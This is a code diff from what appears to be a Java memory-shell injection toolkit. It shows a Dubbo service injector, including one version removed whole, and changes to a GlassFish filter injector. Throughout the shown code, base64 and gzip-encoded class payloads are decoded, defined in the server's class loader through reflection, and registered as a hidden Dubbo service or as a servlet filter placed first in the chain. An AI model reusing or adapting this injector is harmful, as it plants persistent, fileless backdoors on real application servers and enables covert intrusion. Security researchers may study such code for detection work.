if (serviceConfig != null && serviceConfig.getProvider() != null) {
return serviceConfig.getProvider();
}
}
return null;
}
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
if (providerConfig != null && providerConfig.getApplication() != null) {
return providerConfig.getApplication();
}
for (ProviderModel providerModel : providerModels()) {
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
if (serviceConfig.getApplication() != null) {
return serviceConfig.getApplication();
}
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
return serviceConfig.getProvider().getApplication();
}
}
return null;
}
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
addProtocols(protocols, serviceConfig.getProtocols());
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
}
return uniqueProtocols(protocols);
}
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
registries = registries(serviceConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ProviderConfig serviceProvider = serviceConfig.getProvider();
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ApplicationConfig serviceApplication = serviceConfig.getApplication();
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
}
return new ArrayList<RegistryConfig>();
}
private String resolveServiceAddresses(String servicePath) {
String normalizedPath = normalizePath(servicePath);
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
if (serviceConfig == null) {
serviceConfig = findRegisteredService(normalizedPath);
}
if (serviceConfig == null) {
return normalizedPath;
}
List<URL> exportedUrls = serviceConfig.getExportedUrls();
if (exportedUrls != null && !exportedUrls.isEmpty()) {
return formatUrls(exportedUrls);
}
List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
}
if (protocols.isEmpty()) {
return normalizedPath;
}
return formatProtocolAddresses(protocols, normalizedPath);
}
private String formatUrls(List<URL> urls) {
StringBuilder builder = new StringBuilder();
for (URL url : urls) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatUrl(url));
}
return builder.toString();
}
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
StringBuilder builder = new StringBuilder();
for (ProtocolConfig protocol : protocols) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatProtocolAddress(protocol, path));
}
return builder.toString();
}
private String formatUrl(URL url) {
String path = normalizePath(url.getPath());
int port = url.getPort();
return port > 0
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
}
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
Integer port = protocol.getPort();
return port != null && port > 0
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
}
private List<ProviderModel> providerModels() {
try {
return ApplicationModel.allProviderModels();
} catch (Throwable ignored) {
return new ArrayList<ProviderModel>();
}
}
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
if (source != null) {
target.addAll(source);
}
}
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
if (protocols != null) {
for (ProtocolConfig protocol : protocols) {
if (protocol != null) {
unique.put(protocolKey(protocol), protocol);
}
}
}
return new ArrayList<ProtocolConfig>(unique.values());
}
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
}
private String protocolKey(ProtocolConfig protocol) {
return String.valueOf(protocol.getName())
+ "|"
+ String.valueOf(protocol.getHost())
+ "|"
+ String.valueOf(protocol.getPort())
+ "|"
+ String.valueOf(protocol.getServer())
+ "|"
+ String.valueOf(protocol.getId());
}
private String normalizePath(String path) {
if (path == null) {
return "";
}
String normalized = path.trim();
while (normalized.startsWith("/")) {
normalized = normalized.substring(1);
}
return normalized;
}
private boolean notEmpty(String value) {
return value != null && !value.isEmpty();
}
private String stackTrace(Throwable throwable) {
StringWriter writer = new StringWriter();
throwable.printStackTrace(new PrintWriter(writer));
return writer.toString();
}
}
@@ -1,616 +0,0 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import javassist.ClassPool;
import org.apache.dubbo.common.bytecode.ClassGenerator;
import org.apache.dubbo.config.*;
import org.apache.dubbo.rpc.model.ApplicationModel;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
import java.util.zip.GZIPInputStream;
public class ApacheDubboServiceInjector {
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public ApacheDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + getErrorMessage(e);
}
ok = true;
System.out.println(msg);
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = resolveDubboClassLoader();
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
msg += "[" + classLoader.getClass().getName() + "] ";
return loadedClass;
}
private ClassLoader resolveDubboClassLoader() {
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
if (classLoader != null) {
return classLoader;
}
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
if (classLoader != null) {
return classLoader;
}
classLoader = ClassGenerator.class.getClassLoader();
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
}
private ClassLoader invokeDubboClassLoader(String className) {
try {
Class<?> helperClass = Class.forName(className);
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
} catch (Throwable ignored) {
return null;
}
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
}
}
public String toString() {
return msg;
}
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
try {
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
} catch (NoSuchMethodException e) {
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
}
} catch (Throwable ignored) {
}
insertByteArrayClassPath(className, classLoader, classBytes);
}
private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
try {
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
Class<?> classPathClass = Class.forName("javassist.ClassPath");
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
} catch (Throwable ignored) {
}
}
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
}
}
public static byte[] decodeBase64(String str) throws Exception {
return Base64.getDecoder().decode(str);
}
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
byte[] bArr2 = new byte[4096];
int i;
while ((i = gZIPInputStream.read(bArr2)) > 0) {
byteArrayOutputStream.write(bArr2, 0, i);
}
return byteArrayOutputStream.toByteArray();
}
}
public String registerService() throws Exception {
String strNormalizePath = normalizePath(getUrlPattern());
if (strNormalizePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
Class<?> shell = loadClass(getHelperBase64String());
Class<?> shell2 = loadClass(getBase64String());
validateServiceTypes(shell, shell2);
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
return resolveServiceAddresses(strNormalizePath);
}
try {
serviceConfigCreateServiceConfig.export();
return resolveServiceAddresses(strNormalizePath);
} catch (RuntimeException e) {
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
throw e;
}
}
return resolveServiceAddresses(strNormalizePath);
}
private boolean isPathRegisteredInFramework(String str) {
try {
for (Object obj : getRegisteredServices()) {
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
}
private Collection<?> getRegisteredServices() {
try {
Object configManager = resolveConfigManager();
return toList(invokeNoArgs(configManager, "getServices"));
} catch (Exception e) {
try {
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
return toList(invokeNoArgs(objInvoke3, "getServices"));
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String normalizePath(String str) {
if (str == null) {
return "";
}
String strTrim = str.trim();
while (true) {
String str2 = strTrim;
if (!str2.startsWith("/")) {
return str2;
}
strTrim = str2.substring(1);
}
}
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
if (!cls.isInterface()) {
throw new IllegalArgumentException("not an interface: " + cls.getName());
}
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
}
if (!cls.isAssignableFrom(cls2)) {
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
}
}
private Object instantiate(Class<?> cls) {
try {
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
return declaredConstructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
Object configManager = resolveConfigManager();
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
serviceConfig.setInterface(cls);
serviceConfig.setRef(obj);
serviceConfig.setPath(str);
serviceConfig.setProxy("jdk");
if (providerConfigSanitizeProviderConfig != null) {
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
}
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
if (strResolveConfiguredVersion != null) {
serviceConfig.setVersion(strResolveConfiguredVersion);
}
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
return serviceConfig;
}
private ProviderConfig resolveDefaultProvider(Object obj) {
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
if (providerConfigCastProviderConfig != null) {
return providerConfigCastProviderConfig;
}
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
if (objInvokeNoArgs == null) {
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
}
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
}
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
if (providerConfig == null) {
return null;
}
List registries = providerConfig.getRegistries();
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
return providerConfig;
}
return null;
}
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
if (collection == null) {
return new ArrayList<>();
}
return collection.stream()
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
.collect(Collectors.toList());
}
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
if (!listFilterValidRegistries.isEmpty()) {
return listFilterValidRegistries;
}
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
}
private String resolveConfiguredVersion(Object obj) {
return stringValue(invokeNoArgs(obj, "getVersion"), null);
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
}
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
List<ProtocolConfig> arrayList = new ArrayList<>();
if (collection != null) {
try {
for (Object service : collection) {
try {
arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
} catch (Exception e) {
}
}
} catch (Exception e2) {
}
}
try {
for (Object exportedProvider : getExportedProviders()) {
try {
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
if (objInvokeNoArgs != null) {
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
}
} catch (Exception e3) {
}
}
} catch (Exception e4) {
}
return arrayList;
}
private Collection<?> getExportedProviders() {
try {
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
} catch (Exception e) {
try {
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String resolveServiceAddresses(String str) {
String strNormalizePath = normalizePath(str);
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
if (objFindRegisteredService == null) {
objFindRegisteredService = findRegisteredService(strNormalizePath);
}
if (objFindRegisteredService == null) {
return strNormalizePath;
}
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
if (!listExtractExportedUrls.isEmpty()) {
return formatUrls(listExtractExportedUrls);
}
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
if (listResolveProtocols.isEmpty()) {
return strNormalizePath;
}
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
}
private Object findRegisteredService(String str) {
for (Object obj : getRegisteredServices()) {
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
return obj;
}
}
return null;
}
private List<?> extractExportedUrls(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
if (!list.isEmpty()) {
return list;
}
List<?> list2 = toList(getFieldValue(obj, "exporters"));
if (list2.isEmpty()) {
return new ArrayList<>();
}
List<Object> arrayList = new ArrayList<>();
for (Object exporter : list2) {
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
if (objInvokeNoArgs != null) {
arrayList.add(objInvokeNoArgs);
}
}
return arrayList;
}
private List<?> resolveProtocols(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
}
private Object invokeNoArgs(Object obj, String str) {
if (obj == null) {
return null;
}
try {
return obj.getClass().getMethod(str).invoke(obj);
} catch (Exception e) {
return null;
}
}
private Object invokeStaticNoArgs(Class<?> cls, String str) {
try {
return cls.getMethod(str).invoke(null);
} catch (Exception e) {
return null;
}
}
private Object getFieldValue(Object obj, String str) {
if (obj == null) {
return null;
}
Class<?> superclass = obj.getClass();
while (true) {
Class<?> cls = superclass;
if (cls == null) {
return null;
}
try {
Field declaredField = cls.getDeclaredField(str);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
superclass = cls.getSuperclass();
}
}
}
private List<?> toList(Object obj) {
Object value = extractOptionalValue(obj);
if (value instanceof Collection) {
return new ArrayList<>((Collection<?>) value);
}
if (value instanceof Map) {
return new ArrayList<>(((Map<?, ?>) value).values());
}
return new ArrayList<>();
}
private Object extractOptionalValue(Object obj) {
if (obj instanceof Optional) {
return ((Optional<?>) obj).orElse(null);
}
return obj;
}
private Object firstElement(List<?> list) {
if (list.isEmpty()) {
return null;
}
return list.get(0);
}
private ProviderConfig castProviderConfig(Object obj) {
if (obj instanceof ProviderConfig) {
return (ProviderConfig) obj;
}
return null;
}
private ApplicationConfig castApplicationConfig(Object obj) {
if (obj instanceof ApplicationConfig) {
return (ApplicationConfig) obj;
}
return null;
}
private List<RegistryConfig> castRegistries(List<?> list) {
return list.stream()
.filter(RegistryConfig.class::isInstance)
.map(RegistryConfig.class::cast)
.collect(Collectors.toList());
}
private Object resolveConfigManager() {
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
if (objInvokeStaticNoArgs != null) {
return objInvokeStaticNoArgs;
}
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
}
private String formatUrls(List<?> list) {
return list.stream()
.map(this::formatUrl)
.collect(Collectors.joining(", "));
}
private String formatProtocolAddresses(List<?> list, String str) {
return list.stream()
.map(obj -> formatProtocolAddress(obj, str))
.collect(Collectors.joining(", "));
}
private String formatUrl(Object obj) {
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
}
private String formatProtocolAddress(Object obj, String str) {
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
}
private String stringValue(Object obj, String str) {
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
}
private Integer integerValue(Object obj) {
if (obj instanceof Number) {
return Integer.valueOf(((Number) obj).intValue());
}
return null;
}
private List<ProtocolConfig> castProtocols(List<?> list) {
return list.stream()
.filter(ProtocolConfig.class::isInstance)
.map(ProtocolConfig.class::cast)
.collect(Collectors.toList());
}
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
addProtocols(linkedHashMap, collection);
addProtocols(linkedHashMap, collection2);
return new ArrayList<>(linkedHashMap.values());
}
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
if (collection == null) {
return;
}
for (ProtocolConfig protocolConfig : collection) {
if (protocolConfig != null) {
map.put(protocolKey(protocolConfig), protocolConfig);
}
}
}
private String protocolKey(ProtocolConfig protocolConfig) {
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
}
private String getErrorMessage(Throwable th) {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
th.printStackTrace(printStream);
return byteArrayOutputStream.toString();
} catch (IOException e) {
return String.valueOf(th);
}
}
}
@@ -7,10 +7,7 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -43,7 +40,7 @@ public class GlassFishFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -87,58 +84,16 @@ public class GlassFishFilterInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
Object target = getThreadTarget(thread); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
if (childrenMap == null) {
continue;
}
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
if (children != null) { contexts.addAll(children.values());
contexts.addAll(children.values());
}
} }
} }
} }
return contexts; return contexts;
} }
private Object getThreadTarget(Thread thread) throws Exception {
Object target = getFieldValue(thread, "target");
if (target == null) {
// JDK 21+
Object holder = getFieldValue(thread, "holder");
if (holder != null) {
target = getFieldValue(holder, "task");
}
}
return target;
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
Object container = getFieldValue(target, "this$0");
if (container != null) {
return container;
}
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -171,18 +126,15 @@ public class GlassFishFilterInjector {
} }
Object filterDef; Object filterDef;
Object filterMap; Object filterMap;
Class<?> filterMapClass;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
// tomcat v8+ // tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap"); filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
filterMap = filterMapClass.newInstance();
} catch (Exception e2) { } catch (Exception e2) {
// tomcat v5+ // tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap"); filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
filterMap = filterMapClass.newInstance();
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -193,16 +145,19 @@ public class GlassFishFilterInjector {
} }
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
Constructor<?>[] constructors;
try { try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} catch (Exception e) { } catch (Exception e) {
// tomcat v5 // tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} }
try {
// addFilterMapFirst // v7.0.0 以上
List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null); invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
filterMaps.add(0, filterMap); } catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
Constructor filterConfigConstructor; Constructor filterConfigConstructor;
